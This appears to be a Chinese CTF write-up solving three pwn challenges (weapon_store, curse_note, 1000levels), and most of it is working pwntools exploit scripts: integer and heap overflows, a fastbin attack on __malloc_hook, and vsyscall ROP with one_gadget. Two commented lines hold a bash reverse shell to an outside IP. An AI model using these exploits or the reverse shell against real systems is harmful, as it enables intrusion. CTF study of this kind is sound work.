weapon_store

三个功能:view、buy、checkout

view,有点想吐槽,你一个卖武器的,价目表居然跟实际价格不一样。。下面的buy功能可以看到实际价格计算方法是100 * (v3 + 1) - 29,也就是说武器1卖171,武器2卖271。371。471。。。。

buy,先计算买的武器单价*数量是不是超过了手里的money,没超过就放到购物车里,但可以通过整数溢出绕过这个限制;另外可以看到malloc的时候还和0x1ff与了一下,可能有堆溢出。

checkout,当手里的money少于买下所有武器要花的钱时,就给你一次堆溢出的机会,这时可以把其他武器的name改换为flag输出。

输入选项的地方看起来可以泄露点什么出来

但这个地方存放的是两个栈里的值,一个text段的值,也得不到什么信息

这道题绊住我的是做法的问题,一直想的是怎么getshell。虽然data段里有Flag这几个大字,但谁能想到这题是让你泄露它啊。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
debug=1
#context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
if debug:
io = process("./weapon_store")#,env={'LD_PRELOAD':'./libc-2.27.so'})
else:
io = remote("47.97.253.115",10002)
elf = ELF('./weapon_store')
libc = ELF("./libc-2.27.so")
s = lambda x :io.send(str(x))
sa = lambda x,y :io.sendafter(str(x), str(y))
sl = lambda x :io.sendline(str(x))
sla = lambda x,y :io.sendlineafter(str(x), str(y))
r = lambda x :io.recv(x)
ru = lambda x :io.recvuntil(x)
def view():
ru("Your choice:")
sl(1)
def buy(which,amount):
ru("Your choice:")
sl(2)
ru("Which do you want to buy:")
sl(which)
ru("How many do you want to buy:")
sl(amount)
#1 2 3 4 171 271 371 471
#money 0x1000 4096
def checkout():
ru("Your choice:")
sl(3)
#buy(1,1)#c0
buy(1,2)#160
#buy(1,3)#20
#buy(1,4)#c0
#buy(1,5)#160
#buy(1,6)#20
buy(1,2)#160
checkout()
buy(1,9)
buy(1,9)
buy(1,9)#20
buy(4,0x8b2468)#160
checkout()
ru("Do you want to remove a weapon?(y/n)\n")
sl("y")
ru('Please tell us about the reason why you are so poor:')
s("2"*0x158+p64(0x21)+p64(0)*3+p64(0x21)+p64(0)*3+p64(0x31)+p32(0x603)+p32(9)+p64(0)+'\x20')
checkout()
ru("3. Name: ")
log.success("flag : "+ru("Price:")[:-6])
#gdb.attach(io)
#io.interactive()

运行结果

curse note

题目分析

这道题三个功能:new、show、delete,可以用三个note

new存在很多漏洞点:没检查分配的大小,没检查分配是不是成功,任意地址写0

show平平无奇

delete平平无奇

利用方法

利用任意地址写0构造overlap然后fastbin attack,唯一的坑点在于分配大内存后,程序就不再从mainarena分配了,而是会从threadarena分配。在threadarena里,size的最后一字节为0x00000101而非0x00000001,所以构造overlap的时候,要先将preisused位置0,再分配这块,此时这块的size的最后一字节就是4了,再free掉这块就成功overlap了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
debug=1
context.log_level = 'debug'
if debug:
io = process("./curse_note")
else:
io =remote("47.97.253.115",10002)
elf = ELF('./curse_note')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb :io.recv(numb)
ru = lambda delims :io.recvuntil(delims)

def new(index,size,info):
ru("choice: ")
sl("1")
ru("index: ")
sl(index)
ru("size: ")
sl(size)
ru("info: ")
s(info)

def show(index):
ru("choice: ")
sl("2")
ru("index: ")
sl(index)


def delete(index):
ru("choice: ")
sl("3")
ru("index: ")
sl(index)

def exit():
sl("4")
#leak libc
new(0,0x90-8,"1")
new(1,0x20-8,"1")
new(2,0x20-8,"1")
delete(0)
new(0,0x90-8,"1")
show(0)
leak=u64(r(16)[-8:])
libc.address=leak-0x3c4b78
log.success("libc : "+hex(libc.address))
#leak heap
delete(1)
delete(2)
new(1,0x20-8,"\x00")
show(1)
heap=u64(r(8))
log.success("heap : "+hex(heap))
delete(0)
delete(1)

#leak thread arena base
new(0,heap+0x11,"a")
new(0,0x100-8,"a")
new(1,0x70-8,"a")
new(2,0x100-8,"a")
delete(1)
new(1,0x30-8,"1")
delete(0)
delete(2)
new(0,0x100-8,"1")
show(0)
thread_heap=u64(r(16)[-8:])-0x170
thread_base=thread_heap-0x8b0
log.success("thread heap : "+hex(thread_heap))
delete(0)

#overlap
new(0,0x70-8,"a"*(0x70-8-8)+p64(0x170))
new(2,thread_heap+0x178+1,"11111111") #preused=0
new(2,0x100-8,"1111111")
delete(2)
delete(0)

#fastbinattack
new(2,0x270-8,"a"*(0x100-8)+p64(0x75)+p64(libc.symbols['__malloc_hook']-0x23))
new(0,0x70-8,"1")

onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
onegadget=libc.address+onegadgets[3]
c="d"*0xB+p64(0)+p64(onegadget)+'\x00'*8
delete(1)
new(1,0x70-8,c)

delete(0)
ru("choice: ")
sl("1")
ru("index: ")
sl(0)
ru("size: ")
sl(0x30)

io.interactive()

1000levels

两个功能,go和hint

首先看hint,hint虽然不能直接打印出system的地址,但是把system的地址放在了rbp-110h这个地方

go让你输入两个数字作为关卡数,如果俩数字之和超过了99,关卡数就被设置为100(题目难道不是叫做1000levels吗?啊??),算对了就让你过关。可以看到v5、v6就是刚刚system所在的地方,当然要想办法把v5用起来。可以看出v2<=0的时候v5没有被赋值,这样v5就被留下来了,当然留下来是有代价的,要创完100关才给你栈溢出的机会(system可在go里放着呢:P)

关卡里有栈溢出:

方法1-利用vsyscall构造ROP

这题因为开了PIE,所以不知道gadget的地址,就不好构造ROP。vsyscall是一个只有ret功能的gadget,见下图(0x60是gettimeofday,不知道有啥用反正没有用),vsyscall的地址是固定的,而且我们必须跳到 vsyscall 的开头,而不能直接跳到 ret,这是内核决定的。栈中提前存好one_gadget的地址,然后构造三次ret即可。

![image-20191102211935780](/Users/apple/Library/Application Support/typora-user-images/image-20191102211935780.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python
from pwn import *
debug=1
#context.log_level = 'debug'
vsyscall=0xffffffffff600000

if debug:
io = process('./100levels')
else:
io=remote("111.198.29.45",41268)
libc=ELF('./libc.so.6')
elf=ELF('./100levels')

def go(first, more):
io.recvuntil("Choice:\n")
io.sendline('1')
io.recvuntil("How many levels?\n")
io.sendline(str(first))
io.recvuntil("Any more?\n")
io.sendline(str(more))

def hint():
io.recvuntil("Choice:\n")
io.sendline('2')

def answer():
io.recvuntil("Question:")
num1=int(io.recv(3))
io.recvuntil("*")
num2=int(io.recv(3))
io.recvuntil("Answer:")
io.sendline(str(num1*num2))

one_gadget = 0x4526a
system_offset = libc.symbols['system']
hint()
go(0,one_gadget - system_offset)
for i in range(99):
answer()
io.recvuntil("Question:")
num1=int(io.recv(3))
io.recvuntil("*")
num2=int(io.recv(3))
io.recvuntil("Answer:")
content=''
content+='c'*48
content+='b'*8
content+=p64(vsyscall)*3
io.send(content)

io.interactive()

方法2-爆破ebp+leak elf

可以通过溢出ebp的后一个字节使得ebp和esp相同,在输出Question那一句的时候获得leak elf的机会。

虽然Question的两个数字被填入了随机数,但因为esp上方存的一定是上一次调用的函数的返回地址,而且栈帧已经改为ebp和esp相同,所以可以泄露ebp-4和ebp-8泄露一个返回地址出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#no aslr
from pwn import *
from LibcSearcher import *

debug =1
if debug:
context.log_level = 'debug'
io = process('./100levels')
else:
io = remote("111.198.29.45",44322)
libc = ELF('./libc.so')
elf = ELF('./100levels')
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)

one_gadgets_ti = [0x4526a,0xef6c4,0xf0567]
one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=one_gadgets_ti[0]

def hint():
sla('Choice:','2')

def go(first,more):
ru("Choice:\n")
sl('1')
ru("How many levels?\n")
sl(str(first))
ru("Any more?\n")
sl(str(more))

go(2,0)
ru('Answer:')
s(('0\n').ljust(0x30, '\x00') + '\x00')
ru("Question: ")
c = int(ru(' * '))
z = int(ru(' = '))
elf.address = u64(p32(z) + p32(c)) & 0xfffffffff000#leak elf base
print hex(elf.address)
ru('Answer:')
c=''
c=c.ljust(0x8*5)
c+=p64(elf.address+0xf47)#main
sl(c)

hint()
go(0,one_gadget - libc.symbols['system'])
for i in range(99):
ru("Question: ")
a=int(ru('*')[:-1])
b=int(ru('=')[:-1])
ru('Answer:')
sl(str(a*b))
ru('Answer:')
c=''
c=c.ljust(0x8*7)
c+=p64(elf.address+0x1030)#gadget
s(c)

io.interactive()

方法3-爆破system地址+vsyscall构造ROP

在网上找到的脚本,爆破了system的地址。

不过这个题目里的游戏只让你玩一次,无论失败还是成功都会exit(0),所以得通过vsyscall回到main函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
p = process('./100levels')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
debug = 0
if debug:
context.log_level = 'debug'
def hint():
p.sendlineafter('Choice:','2')

def go(first,more):
p.recvuntil("Choice:\n")
p.sendline('1')
p.recvuntil("How many levels?\n")
p.sendline(str(first))
p.recvuntil("Any more?\n")
p.sendline(str(more))

def calc(num):
p.recvuntil('Answer:')
p.send(num)

def leak():
start = 0x700000000390
for i in range(10,2,-1):
for j in range(15,-1,-1):
hint()
addr_test = (1 << (i*4) )* j + start
go(0,-addr_test)
a = p.recvline()
#print hex(addr_test)
if 'Coward' not in a:
start = addr_test
log.info('check '+ hex(addr_test))
break
pro = log.progress('go')
for i in range(99):
pro.status('level %d'%(i+1))
calc(p64(0)*5)
calc(p64(0xffffffffff600400)*35)#vsyscall
pro.success('ok')
return start + 0x1000


system_addr = leak()
print '[+] get system addr:', hex(system_addr)


system_addr_libc = libc.symbols['system']
bin_sh_addr_libc = next(libc.search('/bin/sh'))

bin_sh_addr = bin_sh_addr_libc + system_addr - system_addr_libc

gadget = system_addr - system_addr_libc + 0x21102#pop rdi ret

payload = p64(gadget) + p64(bin_sh_addr) + p64(system_addr)

go(1,0)
exp = 'a'*0x38 + payload
calc(exp)

p.interactive()

运行结果:

方法4-爆破elf-myexp 1/16

栈中提前存好one_gadget的地址,改写level函数返回地址的后两个字节为pop pop ret的gadegt,有1/16的几率猜对,就能ret到one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *

debug =1
if debug:
#context.log_level = 'debug'
io = process('./100levels')
else:
io = remote("111.198.29.45",44322)
libc = ELF('./libc.so')
elf = ELF('./100levels')
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)

one_gadgets_ti = [0x4526a,0xef6c4,0xf0567]
one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=0x4526a
def hint():
sla('Choice:','2')

def go(first,more):
ru("Choice:\n")
sl('1')
ru("How many levels?\n")
sl(str(first))
ru("Any more?\n")
sl(str(more))

while 1:
try:
hint()
go(0,one_gadget - libc.symbols['system'])
for i in range(99):
ru("Question: ")
a=int(ru('*')[:-1])
b=int(ru('=')[:-1])
ru('Answer:')
sl(str(a*b))
ru('Answer:')
#1030
#c='\x0a'+"bash -c 'sh -i &>/dev/tcp/47.93.101.26/6666 0>&1'"
c=''
c=c.ljust(0x8*7)
c+='\x31\x50'#1/16
s(c)
io.interactive()
except:
io.close()
io = process('./100levels')

PS:得按空格才能继续运行下一个进程,咋写能写一个真正自动化的呢:(

失败的exp

本来想以栈中的变量buf作为system的参数,因为在level函数返回的时候buf的地址在rdi里,然后ret到pop pop ret就ret到了system函数,然而失败了。后来分析是因为栈里的内容是变了的,因为buf的地址在栈顶的上面。但我又不能既为了让buf不变而抬高栈顶,又ret到栈底的system,所以这种方法是行不通了的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher import *

debug =1
if debug:
context.log_level = 'debug'
io = process('./100levels')
else:
io=remote("111.198.29.45",44322)

s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)

def hint():
sla('Choice:','2')

def go(first,more):
ru("Choice:\n")
sl('1')
ru("How many levels?\n")
sl(str(first))
ru("Any more?\n")
sl(str(more))

def pwn():
hint()
go(0,0)
for i in range(99):
ru("Question: ")
a=int(ru('*')[:-1])
b=int(ru('=')[:-1])
ru('Answer:')
sl(str(a*b))
gdb.attach(io)
ru('Answer:')
#1030
#c='\x0a'+"bash -c 'sh -i &>/dev/tcp/47.93.101.26/6666 0>&1'"
c=str(a*b)+'\x0a'+"/bin/sh\x00"
c=c.ljust(0x8*7)
c+='\x31\x50'#aslr off
s(c)

pwn()
io.interactive()

rdi放着的是栈的地址,当后面执行的时候栈中的内容会变的。